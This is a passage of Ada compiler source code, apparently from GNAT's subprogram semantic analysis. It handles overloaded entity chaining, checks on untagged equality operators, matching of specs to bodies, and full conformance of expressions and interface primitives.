Is_Integer_Type (Result_Type) and then Result_Type = Type_1; when Name_Op_Add | Name_Op_Divide | Name_Op_Multiply | Name_Op_Subtract => return Is_Numeric_Type (Result_Type) and then Result_Type = Type_1; when Name_Op_Eq | Name_Op_Ne => return Is_Boolean_Type (Result_Type) and then not Is_Limited_Type (Type_1); when Name_Op_Ge | Name_Op_Gt | Name_Op_Le | Name_Op_Lt => return Is_Boolean_Type (Result_Type) and then (Is_Array_Type (Type_1) or else Is_Scalar_Type (Type_1)); when Name_Op_Concat => return Is_Array_Type (Result_Type); when Name_Op_Expon => return (Is_Integer_Type (Result_Type) or else Is_Floating_Point_Type (Result_Type)) and then Result_Type = Type_1 and then Type_2 = Standard_Integer; when others => raise Program_Error; end case; end; -- Unary operator else case Op is when Name_Op_Abs | Name_Op_Add | Name_Op_Subtract => return Is_Numeric_Type (Result_Type) and then Result_Type = Type_1; when Name_Op_Not => return Is_Boolean_Type (Result_Type) and then Result_Type = Type_1; when others => raise Program_Error; end case; end if; end Matches_Predefined_Op; -- Local variables E : Entity_Id := Current_Entity_In_Scope (S); C_E : Entity_Id := Current_Entity (S); -- Start of processing for Enter_Overloaded_Entity begin if Present (E) then Set_Has_Homonym (E); Set_Has_Homonym (S); end if; Set_Is_Immediately_Visible (S); Set_Scope (S, Current_Scope); -- Chain new entity if front of homonym in current scope, so that -- homonyms are contiguous. if Present (E) and then E /= C_E then while Homonym (C_E) /= E loop C_E := Homonym (C_E); end loop; Set_Homonym (C_E, S); else E := C_E; Set_Current_Entity (S); end if; Set_Homonym (S, E); if Is_Inherited_Operation (S) then Append_Inherited_Subprogram (S); else Append_Entity (S, Current_Scope); end if; Set_Public_Status (S); if Debug_Flag_E then Write_Str ("New overloaded entity chain: "); Write_Name (Chars (S)); E := S; while Present (E) loop Write_Str (" "); Write_Int (Int (E)); E := Homonym (E); end loop; Write_Eol; end if; -- Generate warning for hiding if Warn_On_Hiding and then Comes_From_Source (S) and then In_Extended_Main_Source_Unit (S) then E := S; loop E := Homonym (E); exit when No (E); -- Warn unless genuine overloading. Do not emit warning on -- hiding predefined operators in Standard (these are either an -- artifact of our implicit declarations, or simple noise) but -- keep warning on a operator defined on a local subtype, because -- of the real danger that different operators may be applied in -- various parts of the program. -- Note that if E and S have the same scope, there is never any -- hiding. Either the two conflict, and the program is illegal, -- or S is overriding an implicit inherited subprogram. if Scope (E) /= Scope (S) and then (not Is_Overloadable (E) or else Subtype_Conformant (E, S)) and then (Is_Immediately_Visible (E) or else Is_Potentially_Use_Visible (S)) then if Scope (E) = Standard_Standard then if Nkind (S) = N_Defining_Operator_Symbol and then Scope (Base_Type (Etype (First_Formal (S)))) /= Scope (S) and then Matches_Predefined_Op then Error_Msg_N ("declaration of & hides predefined operator?h?", S); end if; -- E not immediately within Standard else Error_Msg_Sloc := Sloc (E); Error_Msg_N ("declaration of & hides one #?h?", S); end if; end if; end loop; end if; end Enter_Overloaded_Entity; ----------------------------- -- Check_Untagged_Equality -- ----------------------------- procedure Check_Untagged_Equality (Eq_Op : Entity_Id) is Typ : constant Entity_Id := Etype (First_Formal (Eq_Op)); Decl : constant Node_Id := Unit_Declaration_Node (Eq_Op); Obj_Decl : Node_Id; begin -- This check applies only if we have a subprogram declaration with an -- untagged record type that is conformant to the predefined op. if Nkind (Decl) /= N_Subprogram_Declaration or else not Is_Record_Type (Typ) or else Is_Tagged_Type (Typ) or else Etype (Next_Formal (First_Formal (Eq_Op))) /= Typ then return; end if; -- In Ada 2012 case, we will output errors or warnings depending on -- the setting of debug flag -gnatd.E. if Ada_Version >= Ada_2012 then Error_Msg_Warn := Debug_Flag_Dot_EE; -- In earlier versions of Ada, nothing to do unless we are warning on -- Ada 2012 incompatibilities (Warn_On_Ada_2012_Incompatibility set). else if not Warn_On_Ada_2012_Compatibility then return; end if; end if; -- Cases where the type has already been frozen if Is_Frozen (Typ) then -- The check applies to a primitive operation, so check that type -- and equality operation are in the same scope. if Scope (Typ) /= Current_Scope then return; -- If the type is a generic actual (sub)type, the operation is not -- primitive either because the base type is declared elsewhere. elsif Is_Generic_Actual_Type (Typ) then return; -- Here we have a definite error of declaration after freezing else if Ada_Version >= Ada_2012 then Error_Msg_NE ("equality operator must be declared before type & is " & "frozen (RM 4.5.2 (9.8)) (Ada 2012)<<", Eq_Op, Typ); -- In Ada 2012 mode with error turned to warning, output one -- more warning to warn that the equality operation may not -- compose. This is the consequence of ignoring the error. if Error_Msg_Warn then Error_Msg_N ("\equality operation may not compose??", Eq_Op); end if; else Error_Msg_NE ("equality operator must be declared before type& is " & "frozen (RM 4.5.2 (9.8)) (Ada 2012)?y?", Eq_Op, Typ); end if; -- If we are in the package body, we could just move the -- declaration to the package spec, so add a message saying that. if In_Package_Body (Scope (Typ)) then if Ada_Version >= Ada_2012 then Error_Msg_N ("\move declaration to package spec<<", Eq_Op); else Error_Msg_N ("\move declaration to package spec (Ada 2012)?y?", Eq_Op); end if; -- Otherwise try to find the freezing point for better message. else Obj_Decl := Next (Parent (Typ)); while Present (Obj_Decl) and then Obj_Decl /= Decl loop if Nkind (Obj_Decl) = N_Object_Declaration and then Etype (Defining_Identifier (Obj_Decl)) = Typ then -- Freezing point, output warnings if Ada_Version >= Ada_2012 then Error_Msg_NE ("type& is frozen by declaration??", Obj_Decl, Typ); Error_Msg_N ("\an equality operator cannot be declared after " & "this point??", Obj_Decl); else Error_Msg_NE ("type& is frozen by declaration (Ada 2012)?y?", Obj_Decl, Typ); Error_Msg_N ("\an equality operator cannot be declared after " & "this point (Ada 2012)?y?", Obj_Decl); end if; exit; -- If we reach generated code for subprogram declaration -- or body, it is the body that froze the type and the -- declaration is legal. elsif Sloc (Obj_Decl) = Sloc (Decl) then return; end if; Next (Obj_Decl); end loop; end if; end if; -- Here if type is not frozen yet. It is illegal to have a primitive -- equality declared in the private part if the type is visible -- (RM 4.5.2(9.8)). elsif not In_Same_List (Parent (Typ), Decl) and then not Is_Limited_Type (Typ) then if Ada_Version >= Ada_2012 then Error_Msg_N ("equality operator appears too late<<", Eq_Op); else Error_Msg_N ("equality operator appears too late (Ada 2012)?y?", Eq_Op); end if; -- Finally check for AI12-0352: declaration of a user-defined primitive -- equality operation for a record type T is illegal if it occurs after -- a type has been derived from T. else Obj_Decl := Next (Parent (Typ)); while Present (Obj_Decl) and then Obj_Decl /= Decl loop if Nkind (Obj_Decl) = N_Full_Type_Declaration and then Etype (Defining_Identifier (Obj_Decl)) = Typ then Error_Msg_N ("equality operator cannot appear after derivation", Eq_Op); Error_Msg_NE ("an equality operator for& cannot be declared after " & "this point??", Obj_Decl, Typ); end if; Next (Obj_Decl); end loop; end if; end Check_Untagged_Equality; ----------------------------- -- Find_Corresponding_Spec -- ----------------------------- function Find_Corresponding_Spec (N : Node_Id; Post_Error : Boolean := True) return Entity_Id is Spec : constant Node_Id := Specification (N); Designator : constant Entity_Id := Defining_Entity (Spec); E : Entity_Id; function Different_Generic_Profile (E : Entity_Id) return Boolean; -- Even if fully conformant, a body may depend on a generic actual when -- the spec does not, or vice versa, in which case they were distinct -- entities in the generic. ------------------------------- -- Different_Generic_Profile -- ------------------------------- function Different_Generic_Profile (E : Entity_Id) return Boolean is F1, F2 : Entity_Id; function Same_Generic_Actual (T1, T2 : Entity_Id) return Boolean; -- Check that the types of corresponding formals have the same -- generic actual if any. We have to account for subtypes of a -- generic formal, declared between a spec and a body, which may -- appear distinct in an instance but matched in the generic, and -- the subtype may be used either in the spec or the body of the -- subprogram being checked. ------------------------- -- Same_Generic_Actual -- ------------------------- function Same_Generic_Actual (T1, T2 : Entity_Id) return Boolean is function Is_Declared_Subtype (S1, S2 : Entity_Id) return Boolean; -- Predicate to check whether S1 is a subtype of S2 in the source -- of the instance. ------------------------- -- Is_Declared_Subtype -- ------------------------- function Is_Declared_Subtype (S1, S2 : Entity_Id) return Boolean is begin return Comes_From_Source (Parent (S1)) and then Nkind (Parent (S1)) = N_Subtype_Declaration and then Is_Entity_Name (Subtype_Indication (Parent (S1))) and then Entity (Subtype_Indication (Parent (S1))) = S2; end Is_Declared_Subtype; -- Start of processing for Same_Generic_Actual begin return Is_Generic_Actual_Type (T1) = Is_Generic_Actual_Type (T2) or else Is_Declared_Subtype (T1, T2) or else Is_Declared_Subtype (T2, T1); end Same_Generic_Actual; -- Start of processing for Different_Generic_Profile begin if not In_Instance then return False; elsif Ekind (E) = E_Function and then not Same_Generic_Actual (Etype (E), Etype (Designator)) then return True; end if; F1 := First_Formal (Designator); F2 := First_Formal (E); while Present (F1) loop if not Same_Generic_Actual (Etype (F1), Etype (F2)) then return True; end if; Next_Formal (F1); Next_Formal (F2); end loop; return False; end Different_Generic_Profile; -- Start of processing for Find_Corresponding_Spec begin E := Current_Entity (Designator); while Present (E) loop -- We are looking for a matching spec. It must have the same scope, -- and the same name, and either be type conformant, or be the case -- of a library procedure spec and its body (which belong to one -- another regardless of whether they are type conformant or not). if Scope (E) = Current_Scope then if Current_Scope = Standard_Standard or else (Ekind (E) = Ekind (Designator) and then Type_Conformant (E, Designator)) then -- Within an instantiation, we know that spec and body are -- subtype conformant, because they were subtype conformant in -- the generic. We choose the subtype-conformant entity here as -- well, to resolve spurious ambiguities in the instance that -- were not present in the generic (i.e. when two different -- types are given the same actual). If we are looking for a -- spec to match a body, full conformance is expected. if In_Instance then -- Inherit the convention and "ghostness" of the matching -- spec to ensure proper full and subtype conformance. Set_Convention (Designator, Convention (E)); -- Skip past subprogram bodies and subprogram renamings that -- may appear to have a matching spec, but that aren't fully -- conformant with it. That can occur in cases where an -- actual type causes unrelated homographs in the instance. if Nkind (N) in N_Subprogram_Body | N_Subprogram_Renaming_Declaration and then Present (Homonym (E)) and then not Fully_Conformant (Designator, E) then goto Next_Entity; elsif not Subtype_Conformant (Designator, E) then goto Next_Entity; elsif Different_Generic_Profile (E) then goto Next_Entity; end if; end if; -- Ada 2012 (AI05-0165): For internally generated bodies of -- null procedures locate the internally generated spec. We -- enforce mode conformance since a tagged type may inherit -- from interfaces several null primitives which differ only -- in the mode of the formals. if not (Comes_From_Source (E)) and then Is_Null_Procedure (E) and then not Mode_Conformant (Designator, E) then null; -- For null procedures coming from source that are completions, -- analysis of the generated body will establish the link. elsif Comes_From_Source (E) and then Nkind (Spec) = N_Procedure_Specification and then Null_Present (Spec) then return E; -- Expression functions can be completions, but cannot be -- completed by an explicit body. elsif Comes_From_Source (E) and then Comes_From_Source (N) and then Nkind (N) = N_Subprogram_Body and then Nkind (Original_Node (Unit_Declaration_Node (E))) = N_Expression_Function then Error_Msg_Sloc := Sloc (E); Error_Msg_N ("body conflicts with expression function#", N); return Empty; elsif not Has_Completion (E) then if Nkind (N) /= N_Subprogram_Body_Stub then Set_Corresponding_Spec (N, E); end if; Set_Has_Completion (E); return E; elsif Nkind (Parent (N)) = N_Subunit then -- If this is the proper body of a subunit, the completion -- flag is set when analyzing the stub. return E; -- If E is an internal function with a controlling result that -- was created for an operation inherited by a null extension, -- it may be overridden by a body without a previous spec (one -- more reason why these should be shunned). In that case we -- remove the generated body if present, because the current -- one is the explicit overriding. elsif Ekind (E) = E_Function and then Ada_Version >= Ada_2005 and then not Comes_From_Source (E) and then Has_Controlling_Result (E) and then Is_Null_Extension (Etype (E)) and then Comes_From_Source (Spec) then Set_Has_Completion (E, False); if Expander_Active and then Nkind (Parent (E)) = N_Function_Specification then Remove (Unit_Declaration_Node (Corresponding_Body (Unit_Declaration_Node (E)))); return E; -- If expansion is disabled, or if the wrapper function has -- not been generated yet, this a late body overriding an -- inherited operation, or it is an overriding by some other -- declaration before the controlling result is frozen. In -- either case this is a declaration of a new entity. else return Empty; end if; -- If the body already exists, then this is an error unless -- the previous declaration is the implicit declaration of a -- derived subprogram. It is also legal for an instance to -- contain type conformant overloadable declarations (but the -- generic declaration may not), per 8.3(26/2). elsif No (Alias (E)) and then not Is_Intrinsic_Subprogram (E) and then not In_Instance and then Post_Error then Error_Msg_Sloc := Sloc (E); if Is_Imported (E) then Error_Msg_NE ("body not allowed for imported subprogram & declared#", N, E); else Error_Msg_NE ("duplicate body for & declared#", N, E); end if; end if; -- Child units cannot be overloaded, so a conformance mismatch -- between body and a previous spec is an error. elsif Is_Child_Unit (E) and then Nkind (Unit_Declaration_Node (Designator)) = N_Subprogram_Body and then Nkind (Parent (Unit_Declaration_Node (Designator))) = N_Compilation_Unit and then Post_Error then Error_Msg_N ("body of child unit does not match previous declaration", N); end if; end if; <<Next_Entity>> E := Homonym (E); end loop; -- On exit, we know that no previous declaration of subprogram exists return Empty; end Find_Corresponding_Spec; ---------------------- -- Fully_Conformant -- ---------------------- function Fully_Conformant (New_Id, Old_Id : Entity_Id) return Boolean is Result : Boolean; begin Check_Conformance (New_Id, Old_Id, Fully_Conformant, False, Result); return Result; end Fully_Conformant; ---------------------------------- -- Fully_Conformant_Expressions -- ---------------------------------- function Fully_Conformant_Expressions (Given_E1 : Node_Id; Given_E2 : Node_Id; Report : Boolean := False) return Boolean is E1 : constant Node_Id := Original_Node (Given_E1); E2 : constant Node_Id := Original_Node (Given_E2); -- We always test conformance on original nodes, since it is possible -- for analysis and/or expansion to make things look as though they -- conform when they do not, e.g. by converting 1+2 into 3. function FCE (Given_E1 : Node_Id; Given_E2 : Node_Id) return Boolean; -- Convenience function to abbreviate recursive calls to -- Fully_Conformant_Expressions without having to pass Report. function FCL (L1 : List_Id; L2 : List_Id) return Boolean; -- Compare elements of two lists for conformance. Elements have to be -- conformant, and actuals inserted as default parameters do not match -- explicit actuals with the same value. function FCO (Op_Node : Node_Id; Call_Node : Node_Id) return Boolean; -- Compare an operator node with a function call --------- -- FCE -- --------- function FCE (Given_E1 : Node_Id; Given_E2 : Node_Id) return Boolean is begin return Fully_Conformant_Expressions (Given_E1, Given_E2, Report); end FCE; --------- -- FCL -- --------- function FCL (L1 : List_Id; L2 : List_Id) return Boolean is N1 : Node_Id; N2 : Node_Id; begin if L1 = No_List then N1 := Empty; else N1 := First (L1); end if; if L2 = No_List then N2 := Empty; else N2 := First (L2); end if; -- Compare two lists, skipping rewrite insertions (we want to compare -- the original trees, not the expanded versions). loop if Is_Rewrite_Insertion (N1) then Next (N1); elsif Is_Rewrite_Insertion (N2) then Next (N2); elsif No (N1) then return No (N2); elsif No (N2) then return False; elsif not FCE (N1, N2) then return False; else Next (N1); Next (N2); end if; end loop; end FCL; --------- -- FCO -- --------- function FCO (Op_Node : Node_Id; Call_Node : Node_Id) return Boolean is Actuals : constant List_Id := Parameter_Associations (Call_Node); Act : Node_Id; begin if No (Actuals) or else Entity (Op_Node) /= Entity (Name (Call_Node)) then return False; else Act := First (Actuals); if Nkind (Op_Node) in N_Binary_Op then if not FCE (Left_Opnd (Op_Node), Act) then return False; end if; Next (Act); end if; return Present (Act) and then FCE (Right_Opnd (Op_Node), Act) and then No (Next (Act)); end if; end FCO; function User_Defined_Numeric_Literal_Mismatch return Boolean; -- Usually literals with the same value like 12345 and 12_345 -- or 123.0 and 123.00 conform, but not if they are -- user-defined literals. ------------------------------------------- -- User_Defined_Numeric_Literal_Mismatch -- ------------------------------------------- function User_Defined_Numeric_Literal_Mismatch return Boolean is E1_Is_User_Defined : constant Boolean := Nkind (Given_E1) not in N_Integer_Literal | N_Real_Literal; E2_Is_User_Defined : constant Boolean := Nkind (Given_E2) not in N_Integer_Literal | N_Real_Literal; begin pragma Assert (E1_Is_User_Defined = E2_Is_User_Defined); return E1_Is_User_Defined and then not String_Equal (String_From_Numeric_Literal (E1), String_From_Numeric_Literal (E2)); end User_Defined_Numeric_Literal_Mismatch; -- Local variables Result : Boolean; -- Start of processing for Fully_Conformant_Expressions begin Result := True; -- Nonconformant if paren count does not match. Note: if some idiot -- complains that we don't do this right for more than 3 levels of -- parentheses, they will be treated with the respect they deserve. if Paren_Count (E1) /= Paren_Count (E2) then return False; -- If same entities are referenced, then they are conformant even if -- they have different forms (RM 8.3.1(19-20)). elsif Is_Entity_Name (E1) and then Is_Entity_Name (E2) then if Present (Entity (E1)) then Result := Entity (E1) = Entity (E2) -- One may be a discriminant that has been replaced by the -- corresponding discriminal. or else (Chars (Entity (E1)) = Chars (Entity (E2)) and then Ekind (Entity (E1)) = E_Discriminant and then Ekind (Entity (E2)) = E_In_Parameter) -- The discriminant of a protected type is transformed into -- a local constant and then into a parameter of a protected -- operation. or else (Ekind (Entity (E1)) = E_Constant and then Ekind (Entity (E2)) = E_In_Parameter and then Present (Discriminal_Link (Entity (E1))) and then Discriminal_Link (Entity (E1)) = Discriminal_Link (Entity (E2))) -- AI12-050: The loop variables of quantified expressions match -- if they have the same identifier, even though they may have -- different entities. or else (Chars (Entity (E1)) = Chars (Entity (E2)) and then Ekind (Entity (E1)) = E_Loop_Parameter and then Ekind (Entity (E2)) = E_Loop_Parameter) -- A call to an instantiation of Unchecked_Conversion is -- rewritten with the name of the generated function created for -- the instance, and this must be special-cased. or else (Ekind (Entity (E1)) = E_Function and then Is_Intrinsic_Subprogram (Entity (E1)) and then Is_Generic_Instance (Entity (E1)) and then Entity (E2) = Alias (Entity (E1))); if Report and not Result then Error_Msg_Sloc := Text_Ptr'Max (Sloc (Entity (E1)), Sloc (Entity (E2))); Error_Msg_NE ("meaning of& differs because of declaration#", E1, E2); end if; return Result; elsif Nkind (E1) = N_Expanded_Name and then Nkind (E2) = N_Expanded_Name and then Nkind (Selector_Name (E1)) = N_Character_Literal and then Nkind (Selector_Name (E2)) = N_Character_Literal then return Chars (Selector_Name (E1)) = Chars (Selector_Name (E2)); else -- Identifiers in component associations don't always have -- entities, but their names must conform. return Nkind (E1) = N_Identifier and then Nkind (E2) = N_Identifier and then Chars (E1) = Chars (E2); end if; elsif Nkind (E1) = N_Character_Literal and then Nkind (E2) = N_Expanded_Name then return Nkind (Selector_Name (E2)) = N_Character_Literal and then Chars (E1) = Chars (Selector_Name (E2)); elsif Nkind (E2) = N_Character_Literal and then Nkind (E1) = N_Expanded_Name then return Nkind (Selector_Name (E1)) = N_Character_Literal and then Chars (E2) = Chars (Selector_Name (E1)); elsif Nkind (E1) in N_Op and then Nkind (E2) = N_Function_Call then return FCO (E1, E2); elsif Nkind (E2) in N_Op and then Nkind (E1) = N_Function_Call then return FCO (E2, E1); -- Otherwise we must have the same syntactic entity elsif Nkind (E1) /= Nkind (E2) then return False; -- At this point, we specialize by node type else case Nkind (E1) is when N_Aggregate => return FCL (Expressions (E1), Expressions (E2)) and then FCL (Component_Associations (E1), Component_Associations (E2)); when N_Allocator => if Nkind (Expression (E1)) = N_Qualified_Expression or else Nkind (Expression (E2)) = N_Qualified_Expression then return FCE (Expression (E1), Expression (E2)); -- Check that the subtype marks and any constraints -- are conformant else declare Indic1 : constant Node_Id := Expression (E1); Indic2 : constant Node_Id := Expression (E2); Elt1 : Node_Id; Elt2 : Node_Id; begin if Nkind (Indic1) /= N_Subtype_Indication then return Nkind (Indic2) /= N_Subtype_Indication and then Entity (Indic1) = Entity (Indic2); elsif Nkind (Indic2) /= N_Subtype_Indication then return Nkind (Indic1) /= N_Subtype_Indication and then Entity (Indic1) = Entity (Indic2); else if Entity (Subtype_Mark (Indic1)) /= Entity (Subtype_Mark (Indic2)) then return False; end if; Elt1 := First (Constraints (Constraint (Indic1))); Elt2 := First (Constraints (Constraint (Indic2))); while Present (Elt1) and then Present (Elt2) loop if not FCE (Elt1, Elt2) then return False; end if; Next (Elt1); Next (Elt2); end loop; return True; end if; end; end if; when N_Attribute_Reference => return Attribute_Name (E1) = Attribute_Name (E2) and then FCL (Expressions (E1), Expressions (E2)); when N_Binary_Op => return Entity (E1) = Entity (E2) and then FCE (Left_Opnd (E1), Left_Opnd (E2)) and then FCE (Right_Opnd (E1), Right_Opnd (E2)); when N_Membership_Test | N_Short_Circuit => return FCE (Left_Opnd (E1), Left_Opnd (E2)) and then FCE (Right_Opnd (E1), Right_Opnd (E2)); when N_Case_Expression => declare Alt1 : Node_Id; Alt2 : Node_Id; begin if not FCE (Expression (E1), Expression (E2)) then return False; else Alt1 := First (Alternatives (E1)); Alt2 := First (Alternatives (E2)); loop if Present (Alt1) /= Present (Alt2) then return False; elsif No (Alt1) then return True; end if; if not FCE (Expression (Alt1), Expression (Alt2)) or else not FCL (Discrete_Choices (Alt1), Discrete_Choices (Alt2)) then return False; end if; Next (Alt1); Next (Alt2); end loop; end if; end; when N_Character_Literal => return Char_Literal_Value (E1) = Char_Literal_Value (E2); when N_Component_Association => return FCL (Choices (E1), Choices (E2)) and then FCE (Expression (E1), Expression (E2)); when N_Explicit_Dereference => return FCE (Prefix (E1), Prefix (E2)); when N_Extension_Aggregate => return FCL (Expressions (E1), Expressions (E2)) and then Null_Record_Present (E1) = Null_Record_Present (E2) and then FCL (Component_Associations (E1), Component_Associations (E2)); when N_Function_Call => return FCE (Name (E1), Name (E2)) and then FCL (Parameter_Associations (E1), Parameter_Associations (E2)); when N_If_Expression => return FCL (Expressions (E1), Expressions (E2)); when N_Indexed_Component => return FCE (Prefix (E1), Prefix (E2)) and then FCL (Expressions (E1), Expressions (E2)); when N_Integer_Literal => return (Intval (E1) = Intval (E2)) and then not User_Defined_Numeric_Literal_Mismatch; when N_Null => return True; when N_Operator_Symbol => return Chars (E1) = Chars (E2); when N_Others_Choice => return True; when N_Parameter_Association => return Chars (Selector_Name (E1)) = Chars (Selector_Name (E2)) and then FCE (Explicit_Actual_Parameter (E1), Explicit_Actual_Parameter (E2)); when N_Qualified_Expression | N_Type_Conversion | N_Unchecked_Type_Conversion => return FCE (Subtype_Mark (E1), Subtype_Mark (E2)) and then FCE (Expression (E1), Expression (E2)); when N_Quantified_Expression => if not FCE (Condition (E1), Condition (E2)) then return False; end if; if Present (Loop_Parameter_Specification (E1)) and then Present (Loop_Parameter_Specification (E2)) then declare L1 : constant Node_Id := Loop_Parameter_Specification (E1); L2 : constant Node_Id := Loop_Parameter_Specification (E2); begin return Reverse_Present (L1) = Reverse_Present (L2) and then FCE (Defining_Identifier (L1), Defining_Identifier (L2)) and then FCE (Discrete_Subtype_Definition (L1), Discrete_Subtype_Definition (L2)); end; elsif Present (Iterator_Specification (E1)) and then Present (Iterator_Specification (E2)) then declare I1 : constant Node_Id := Iterator_Specification (E1); I2 : constant Node_Id := Iterator_Specification (E2); begin return FCE (Defining_Identifier (I1), Defining_Identifier (I2)) and then Of_Present (I1) = Of_Present (I2) and then Reverse_Present (I1) = Reverse_Present (I2) and then FCE (Name (I1), Name (I2)) and then FCE (Subtype_Indication (I1), Subtype_Indication (I2)); end; -- The quantified expressions used different specifications to -- walk their respective ranges. else return False; end if; when N_Range => return FCE (Low_Bound (E1), Low_Bound (E2)) and then FCE (High_Bound (E1), High_Bound (E2)); when N_Real_Literal => return (Realval (E1) = Realval (E2)) and then not User_Defined_Numeric_Literal_Mismatch; when N_Selected_Component => return FCE (Prefix (E1), Prefix (E2)) and then FCE (Selector_Name (E1), Selector_Name (E2)); when N_Slice => return FCE (Prefix (E1), Prefix (E2)) and then FCE (Discrete_Range (E1), Discrete_Range (E2)); when N_String_Literal => declare S1 : constant String_Id := Strval (E1); S2 : constant String_Id := Strval (E2); L1 : constant Nat := String_Length (S1); L2 : constant Nat := String_Length (S2); begin if L1 /= L2 then return False; else for J in 1 .. L1 loop if Get_String_Char (S1, J) /= Get_String_Char (S2, J) then return False; end if; end loop; return True; end if; end; when N_Unary_Op => return Entity (E1) = Entity (E2) and then FCE (Right_Opnd (E1), Right_Opnd (E2)); -- All other node types cannot appear in this context. Strictly -- we should raise a fatal internal error. Instead we just ignore -- the nodes. This means that if anyone makes a mistake in the -- expander and mucks an expression tree irretrievably, the result -- will be a failure to detect a (probably very obscure) case -- of non-conformance, which is better than bombing on some -- case where two expressions do in fact conform. when others => return True; end case; end if; end Fully_Conformant_Expressions; ---------------------------------------- -- Fully_Conformant_Discrete_Subtypes -- ---------------------------------------- function Fully_Conformant_Discrete_Subtypes (Given_S1 : Node_Id; Given_S2 : Node_Id) return Boolean is S1 : constant Node_Id := Original_Node (Given_S1); S2 : constant Node_Id := Original_Node (Given_S2); function Conforming_Bounds (B1, B2 : Node_Id) return Boolean; -- Special-case for a bound given by a discriminant, which in the body -- is replaced with the discriminal of the enclosing type. function Conforming_Ranges (R1, R2 : Node_Id) return Boolean; -- Check both bounds ----------------------- -- Conforming_Bounds -- ----------------------- function Conforming_Bounds (B1, B2 : Node_Id) return Boolean is begin if Is_Entity_Name (B1) and then Is_Entity_Name (B2) and then Ekind (Entity (B1)) = E_Discriminant then return Chars (B1) = Chars (B2); else return Fully_Conformant_Expressions (B1, B2); end if; end Conforming_Bounds; ----------------------- -- Conforming_Ranges -- ----------------------- function Conforming_Ranges (R1, R2 : Node_Id) return Boolean is begin return Conforming_Bounds (Low_Bound (R1), Low_Bound (R2)) and then Conforming_Bounds (High_Bound (R1), High_Bound (R2)); end Conforming_Ranges; -- Start of processing for Fully_Conformant_Discrete_Subtypes begin if Nkind (S1) /= Nkind (S2) then return False; elsif Is_Entity_Name (S1) then return Entity (S1) = Entity (S2); elsif Nkind (S1) = N_Range then return Conforming_Ranges (S1, S2); elsif Nkind (S1) = N_Subtype_Indication then return Entity (Subtype_Mark (S1)) = Entity (Subtype_Mark (S2)) and then Conforming_Ranges (Range_Expression (Constraint (S1)), Range_Expression (Constraint (S2))); else return True; end if; end Fully_Conformant_Discrete_Subtypes; -------------------- -- Install_Entity -- -------------------- procedure Install_Entity (E : Entity_Id) is Prev : constant Entity_Id := Current_Entity (E); begin Set_Is_Immediately_Visible (E); Set_Current_Entity (E); pragma Assert (Prev /= E); Set_Homonym (E, Prev); end Install_Entity; --------------------- -- Install_Formals -- --------------------- procedure Install_Formals (Id : Entity_Id) is F : Entity_Id; begin F := First_Formal (Id); while Present (F) loop Install_Entity (F); Next_Formal (F); end loop; end Install_Formals; ----------------------------- -- Is_Interface_Conformant -- ----------------------------- function Is_Interface_Conformant (Tagged_Type : Entity_Id; Iface_Prim : Entity_Id; Prim : Entity_Id) return Boolean is -- The operation may in fact be an inherited (implicit) operation -- rather than the original interface primitive, so retrieve the -- ultimate ancestor. Iface : constant Entity_Id := Find_Dispatching_Type (Ultimate_Alias (Iface_Prim)); Typ : constant Entity_Id := Find_Dispatching_Type (Prim); function Controlling_Formal (Prim : Entity_Id) return Entity_Id; -- Return the controlling formal of Prim ------------------------ -- Controlling_Formal -- ------------------------ function Controlling_Formal (Prim : Entity_Id) return Entity_Id is E : Entity_Id; begin E := First_Entity (Prim); while Present (E) loop if Is_Formal (E) and then Is_Controlling_Formal (E) then return E; end if; Next_Entity (E); end loop; return Empty; end Controlling_Formal; -- Local variables Iface_Ctrl_F : constant Entity_Id := Controlling_Formal (Iface_Prim); Prim_Ctrl_F : constant Entity_Id := Controlling_Formal (Prim); -- Start of processing for Is_Interface_Conformant begin pragma Assert (Is_Subprogram (Iface_Prim) and then Is_Subprogram (Prim) and then Is_Dispatching_Operation (Iface_Prim) and then Is_Dispatching_Operation (Prim)); pragma Assert (Is_Interface (Iface) or else (Present (Alias (Iface_Prim)) and then Is_Interface (Find_Dispatching_Type (Ultimate_Alias (Iface_Prim))))); if Prim = Iface_Prim or else not Is_Subprogram (Prim) or else Ekind (Prim) /= Ekind (Iface_Prim) or else not Is_Dispatching_Operation (Prim) or else Scope (Prim) /= Scope (Tagged_Type) or else No (Typ) or else Base_Type (Typ) /= Base_Type (Tagged_Type) or else not Primitive_Names_Match (Iface_Prim, Prim) then return False; -- The mode of the controlling formals must match elsif Present (Iface_Ctrl_F) and then Present (Prim_Ctrl_F) and then Ekind (Iface_Ctrl_F) /= Ekind (Prim_Ctrl_F) then return False; -- Case of a procedure, or a function whose result type matches the -- result type of the interface primitive, or a function that has no -- controlling result (I or access I). elsif Ekind (Iface_Prim) = E_Procedure or else Etype (Prim) = Etype (Iface_Prim) or else not Has_Controlling_Result (Prim) then return Type_Conformant (Iface_Prim, Prim, Skip_Controlling_Formals => True); -- Case of a function returning an interface, or an access to one. Check -- that the return types correspond. elsif Implements_Interface (Typ, Iface) then if (Ekind (Etype (Prim)) = E_Anonymous_Access_Type) /= (Ekind (Etype (Iface_Prim)) = E_Anonymous_Access_Type) then return False; else return Type_Conformant (Prim, Ultimate_Alias (Iface_Prim), Skip_Controlling_Formals => True); end if; else return False; end if; end Is_Interface_Conformant; --------------------------------- -- Is_Non_Overriding_Operation -- --------------------------------- function Is_Non_Overriding_Operation (Prev_E : Entity_Id; New_E : Entity_Id) return Boolean is Formal : Entity_Id; F_Typ : Entity_Id; G_Typ : Entity_Id := Empty; function Get_Generic_Parent_Type (F_Typ : Entity_Id) return Entity_Id; -- If F_Type is a derived type associated with a generic actual subtype, -- then return its Generic_Parent_Type attribute, else return Empty. function Types_Correspond (P_Type : Entity_Id; N_Type : Entity_Id) return Boolean; -- Returns true if and only if the types (or designated types in the -- case of anonymous access types) are the same or N_Type is derived -- directly or indirectly from P_Type. ----------------------------- -- Get_Generic_Parent_Type -- ----------------------------- function Get_Generic_Parent_Type (F_Typ : Entity_Id) return Entity_Id is G_Typ : Entity_Id; Defn : Node_Id; Indic : Node_Id; begin if Is_Derived_Type (F_Typ) and then Nkind (Parent (F_Typ)) = N_Full_Type_Declaration then -- The tree must be traversed to determine the parent subtype in -- the generic unit, which unfortunately isn't always available -- via semantic attributes. ??? (Note: The use of Original_Node -- is needed for cases where a full derived type has been -- rewritten.) -- If the parent type is a scalar type, the derivation creates -- an anonymous base type for it, and the source type is its -- first subtype. if Is_Scalar_Type (F_Typ) and then not Comes_From_Source (F_Typ) then Defn := Type_Definition (Original_Node (Parent (First_Subtype (F_Typ)))); else Defn := Type_Definition (Original_Node (Parent (F_Typ))); end if; if Nkind (Defn) = N_Derived_Type_Definition then Indic := Subtype_Indication (Defn); if Nkind 